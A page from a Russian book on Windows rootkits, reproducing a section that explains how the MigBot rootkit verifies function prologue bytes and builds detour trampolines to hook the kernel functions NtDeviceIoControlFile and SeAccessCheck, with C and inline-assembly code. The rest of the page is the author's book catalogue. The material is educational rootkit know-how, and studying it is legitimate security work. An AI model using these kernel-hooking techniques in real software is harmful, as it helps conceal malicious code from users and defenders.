Есть вопрос?
Зайди на форум

Поиск:

Denix: русификация Ubuntu и кодеки :: RSS:: Скачать книги Колисниченко в PDF

Англо-русский словарь компьютерных терминов (Д. Колисниченко)

A  B  C  D  E  F  G  H  I  K  L  M  N  O  P  Q  R  S  T  V  W  X  Y  Z 

укрпочта отслеживание посылок перевод денег график отключения света в Кировограде график отключения счета в Киеве график отключения света в Одессе (zip)

Книга Д. Колисниченко Rootkits под Windows. Теория и практика программирования “шапок-невидимок“, позволяющих скрывать от системы данные, процессы, сетевые соединения.

14.2. А та ли это функция?

Перед перезаписью нужно убедиться, что вы изменяете именно ту функцию (или именно те байты), которая вам нужна (которые вам нужны). А что тут проверять? Ведь у функции есть имя, например, NtDeviceIoControlFile. Имя функции еще ни о чем не говорит. Важен код функции. Имя может быть одно и тоже, а код будет совершенно разный для разных версий Windows, например, функции Home-версии Windows XP имеют те же названия, что и в Pro-функции, но поскольку Pro-версия поддерживает SMP, код некоторых функций может отличаться. Может быть ситуация еще проще: пользователь установит Service Pack 2 для Windows XP Pro, который изменит некоторые функции.

Поэтому перед тем, как что-то изменить в системе, мы должны убедиться в правильности своих действий. Вы же не хотите, чтобы бедный пользователь лицезрел "голубой экран"?

MigBot тоже осуществляет подобную проверку. Сначала он получает адрес функции, а потом - побайтно проверяет код функции - сравнивает начало функции с определенным образцом. Сейчас мы рассмотрим функции для проверки функций NtDeviceIoControlFile и SeAccessCheck. При проверке мы учитываем длину последовательности байтов - в первом случае длина последовательности равна 8 байтам, а во втором - 9 (код взят из файла migsys.c).

NTSTATUS CheckFunctionBytesNtDeviceIoControlFile()

{

      int i=0;

      char *p = (char *)NtDeviceIoControlFile;

 

      //Начало функции NtDeviceIoControlFile должно

      //начинаться:

      //55              PUSH EBP

      //8BEC            MOV   EBP, ESP

      //6A01            PUSH 01

      //FF752C          PUSH DWORD PTR [EBP + 2C]

      // Если функция начинается с заданных байтов, то она та, которая

      // нам надо

     

      char c[] = { 0x55, 0x8B, 0xEC, 0x6A, 0x01, 0xFF, 0x75, 0x2C };

 

      while(i<8)

      {

            DbgPrint(" - 0x%02X ", (unsigned char)p[i]);

            if(p[i] != c[i])

            {

                  return STATUS_UNSUCCESSFUL;

            }

            i++;

      }

      return STATUS_SUCCESS;

}

 

NTSTATUS CheckFunctionBytesSeAccessCheck()

{

      int i=0;

      char *p = (char *)SeAccessCheck;

 

      //Начало функции SeAccessCheck:

      //55        PUSH EBP

      //8BEC      MOV   EBP, ESP

      //53        PUSH EBX

      //33DB      XOR EBX, EBX

      //385D24    CMP [EBP+24], BL

      // Если функция начинается с заданных байтов, то она та, которая

      // нам надо

 

      char c[] = { 0x55, 0x8B, 0xEC, 0x53, 0x33, 0xDB, 0x38, 0x5D, 0x24 };

 

      while(i<9)

      {

            DbgPrint(" - 0x%02X ", (unsigned char)p[i]);

            if(p[i] != c[i])

            {

                  return STATUS_UNSUCCESSFUL;

            }

            i++;

      }

      return STATUS_SUCCESS;

}

 

Как только вы перезапишите инструкции функции, они навсегда перестанут существовать. Но ведь инструкции нужны для функции, поэтому нужно позаботиться об их сохранении. Наш случай более прост - ведь мы знаем, что это за инструкции с самого начала. Нам всего лишь нужно создать две разные функции, которые будут выполнять действия, перезаписанные ранее нами.

Примечание. Да, в примере все просто. Данные функции и известны инструкции, с которых начинаются эти функции. Но если нужно использовать другие функции, что тогда? Как узнать инструкции, с которых начинается функция? Использовать SoftICE или другой отладчик уровня ядра? В Интернете масса информации и различных руководств по SoftICE (причем много информации на русском - не даром же наши крекеры - лучшие крекеры в мире), поэтому я не вижу особой необходимости рассматривать его в этой книге.

Итак, рассмотрим две эти функции (код взят из файла migsys.c):

__declspec(naked) my_function_detour_seaccesscheck()

{

            __asm

            {                     

                        // выполняем отсутствующие инструкции

                        push    ebp

                        mov                 ebp, esp

                        push    ebx

                        xor                  ebx, ebx

                        cmp                 [ebp+24], bl

                       

                        //переходим по указанному адресу (возвращаемся обратно)

                        // адрес недействителен, его нужно будет заменить вручную, когда

                        // мы его вычислим, но это уже во время выполнения

                        // jmp FAR 0x08:0xAAAAAAAA

                        _emit 0xEA

                        _emit 0xAA

                        _emit 0xAA

                        _emit 0xAA

                        _emit 0xAA

                        _emit 0x08

                        _emit 0x00

            }

}

__declspec(naked) my_function_detour_ntdeviceiocontrolfile()

{

            __asm

            {                     

                        // выполняем отсутствующие инструкции

                        push    ebp

                        mov                 ebp, esp

                        push    0x01

                        push    dword ptr [ebp+0x2C]

                        //переходим по указанному адресу (возвращаемся обратно)

                        // адрес недействителен, его нужно будет заменить вручную, когда

                        // мы его вычислим, но это уже во время выполнения

                        // jmp FAR 0x08:0xAAAAAAAA

                        _emit 0xEA

                        _emit 0xAA

                        _emit 0xAA

                        _emit 0xAA

                        _emit 0xAA

                        _emit 0x08

                        _emit 0x00

            }

}

Примечание. Эти две функции - просто "болванки" - они не делают ничего, кроме как вызывают стертые нами инструкции и переходят по адресу возврата (о нем - позже)

У нас есть две функции, выполняющие отсутствующие инструкции, но когда их вызывать? Для этого нужно разработать схему обхода. Наиболее классическая схема представлена на рисунке 14.2. С ней мы уже знакомы по четвертой главе, только тогда на ней мы не акцентировали свое внимание.

Рис. 14.2. Схема обхода, используемая MigBot

То есть сначала вместо первого оператора (или группы операторов - не важно, просто представим, что оператор 1 длиной 7 байтов) мы записываем переход на код руткита. Поскольку переход на руткит мы вставляем в самое начало функции, то сохранять первые операторы нигде не нужно - достаточно создать функцию, которая бы вызывала перезаписанные операторы - они всегда будут одинаковыми для одной и той же функции.

Итак, начинается выполнение функции. Процессор сразу же переходит на выполнение кода руткита, который выполняет определенные действия, а затем вызывает функцию, которая выполняет "начало" исходной функции - те самые перезаписанные байты. После их выполнения следует инструкция безусловного перехода на второй оператор исходной функции (точнее, на следующий за последним перезаписанным оператором - ведь обычно нам нужно перезаписать группу операторов).

На главную

Мне нравится!

Сегодня: 19/01

Поздравлять сегодня некого

Последние посты форума

Интересная картинка

Samsung Galaxy J2 Prime (SM-G532F)

дааа

Обучение PHP-программированию

Новый дизайн сайта

Возвращение на динамическую страницу сайта

С Новым Годом!

Бесплатный хостинг, SSL сертификат, не ограниченно

капец погода в ноябре у нас

Посоветуйте хостинг

флэшмобы

вот люди где живут... экстрим

авто-дилеры

Программы для Linux

книга Командная строка Linux и автоматизация рутинных задач

Совет:

Книги Д. Колисниченко:

Linux

Ubuntu Linux. Краткое руководство пользователяUbuntu Linux. Краткое руководство пользователя
Книга ориентирована на начинающего пользователя Ubuntu Linux. Книга устарела, вместо нее издана Ubuntu 10. Краткое руководство пользователя (тоже издательство БХВ)                                                                                                                                          

FreeBSD 8. Руководство администратораFreeBSD 8. Руководство администратора
Книга посвящена очередной версии популярной операционной системы с открытым исходным кодом — FreeBSD 8. Отличная книга для начинающих пользователей BSD                                                                                                                                                      

Linux. От новичка к профессионалу 4Linux. От новичка к профессионалу 4
Даны ответы на все вопросы, возникающие при работе с Linux: от установки и настройки этой ОС до настройки сервера на базе Linux. Материал книги максимально охватывает все сферы применения Linux: от запуска Windows-игр под управлением Linux до настрой                                                   

PHP

PHP и MySQL. Разработка Web-приложений. 4-е издPHP и MySQL. Разработка Web-приложений. 4-е изд
Даны начала программирования на PHP: установка и настройка Apache, PHP, MySQL и кроссплатформенной сборки XAMPP, выбор редактора PHP-кода, синтаксис языка и самые полезные функции PHP 5.4. Рассмотрено создание собственного движка сайта и ряда дополни                                                   

Профессиональное программирование на PHPПрофессиональное программирование на PHP
Книга рассчитана на программистов, уже освоивших азы программирования на PHP. Приводятся сведения об отладке, анализе и оптимизации кода                                                                                                                                                                     

PHP и MySQL. Разработка веб-приложений. 5-е изд.PHP и MySQL. Разработка веб-приложений. 5-е изд.
Даны начала программирования на PHP: установка и настройка Apache, PHP и MySQL, а также кроссплатформенной сборки XAMPP, выбор редактора PHP-кода, синтаксис языка и самые полезные функции PHP. Рассмотрено создание собственного движка сайта и ряда доп                                                   

Интернет/CMS

Новейший самоучитель компьютера и ИнтернетНовейший самоучитель компьютера и Интернет
О такой книге долгие годы мечтали миллионы начинающих пользователей, которые осваивали технику самостоятельно или по непонятным, громоздким руководствам.                                                                                                                                                    

Facebook. Полное руководствоFacebook. Полное руководство
Эта книга — простое и эффективное учебное пособие по изучению, освоению и успешному использованию всех доступных инструментов популярной социальной сети Facebook                                                                                                                                            

Поисковые системы и продвижение сайтов в ИнтернетеПоисковые системы и продвижение сайтов в Интернете
В книге подробно описаны алгоритмы работы и методы использования наиболее популярных сегодня поисковых машин Интернета — Google, Yandex и Rambler.                                                                                                                                                           

Компьютер/Windows

Работа на ноутбуке с Windows 7Работа на ноутбуке с Windows 7
Эта книга поможет читателю правильно выбрать ноутбук (или нетбук) и подскажет, как его следует использовать, чтобы добиться максимальной надежности и эффективности работы. В ней описывается новая версия операционной системы от Microsoft - Windows 7.                                                    

Самоучитель Microsoft Windows 8Самоучитель Microsoft Windows 8
Описаны основные нововведения в Windows 8, особое внимание уделено использованию системы на планшете. Рассмотрена установка системы как на физический компьютер (стационарный, ноутбук, нетбук, планшет), так и на виртуальный (VMware, Virtual Box).                                                        

Microsoft Windows 8 для пользователейMicrosoft Windows 8 для пользователей
Описаны нововведения Windows 8, особое внимание уделено использованию системы на планшете. Рассмотрена установка системы как на физический компьютер (стационарный, ноутбук, нетбук, планшет)                                                                                                                

Сети

Самоучитель системного администратора. 4-е изд.Самоучитель системного администратора. 4-е изд.
Изложены основные задачи системного администрирования, описаны базовые протоколы, даны рекомендации по выбору оборудования и проведению ежедневных рутинных операций. Подробно раскрыты технологии, используемые при построении информационных систем, опи                                                   

Беспроводная сеть дома и в офисеБеспроводная сеть дома и в офисе
Книга поможет начинающему администратору домашней или офисной сети в кратчайшие сроки развернуть, настроить или модернизировать беспроводную сеть. Отличный выбор для построения сети SOHO                                                                                                                   

Сделай сам компьютерную сеть. Монтаж, настройка, обслуживание. Изд. 2.Сделай сам компьютерную сеть. Монтаж, настройка, обслуживание. Изд. 2.
Книга о настройке сети в Windows (98,NT,XP) и Linux. Является превосходным практическим руководством по созданию и обслуживанию компьютерных сетей.                                                                                                                                                          

Безопасность

Rootkits под Windows. Теория и практика программирования “шапок-невидимок“, позволяющих скрывать от системы данные, процессы, сетевые соединения.Rootkits под Windows. Теория и практика программирования “шапок-невидимок“, позволяющих скрывать от системы данные, процессы, сетевые соединения.
-                                                                                                                                                                                                                                                                                                            

Анонимность и безопасность в Интернете. От Анонимность и безопасность в Интернете. От "чайника" к пользователю
Простым и понятным языком рассказано, как скрыть свое местонахождение и IP-адрес, используя анонимные сети Tor и I2P, посетить заблокированные администратором сайты, защитить личную переписку от посторонних глаз                                                                                          

Автомобили

Перед покупкой авто. Все, что необходимо знать покупателюПеред покупкой авто. Все, что необходимо знать покупателю
Книга отвечает на все вопросы, которые нужно прояснить для себя перед...                                                                                                                                                                                                                                     

Популярный самоучитель безопасного вожденияПопулярный самоучитель безопасного вождения
Ценность этой книги в том, что впервые советы вам будет давать проверенный профи: президент клуба BMW! Как быстро и правильно научиться водить машину, парковаться, разгоняться, тормозить.                                                                                                                  

150 ситуаций на дороге, которые должен уметь решать каждый водила150 ситуаций на дороге, которые должен уметь решать каждый водила
Опытный инструктор кратко и четко расскажет, что следует делать водителю в 150 самых различных ситуациях на дороге, которые могут опустошить ваш кошелек, испортить нервы или здоровье                                                                                                                       

Переводные книги

Переводные книгиПереводные книги
Данные книги были переведены мною на русский язык (с английского и чешского). Надеюсь качество перевода вам понравится!                                                                                                                                                                                      

Android

Безопасный Android: защищаем свои деньги и данные от кражиБезопасный Android: защищаем свои деньги и данные от кражи
Рассмотрены различные способы обеспечения безопасности Android-устройств: шифрование персональной информации, хранящейся на устройстве, шифрование передаваемых данных, VPN-соединения, анонимизация трафика                                                                                             

Планшет и смартфон на базе Android для ваших родителейПланшет и смартфон на базе Android для ваших родителей
Книга рассчитана на людей среднего и старшего возраста. Она поможет освоить современный «карманный компьютер» на базе Android, в котором все новое и "не так, как в Windows". Доступным языком описывается, как включить и выключить смартфон и т.д.                                                         

Планшет и смартфон на базе Android для ваших родителей, 2-е изд.Планшет и смартфон на базе Android для ваших родителей, 2-е изд.
Книга знакомит читателя с мобильными устройствами на базе Android. Она написана простым и понятным языком для людей среднего и старшего возраста                                                                                                                                                             

Статьи

Rambler's Top100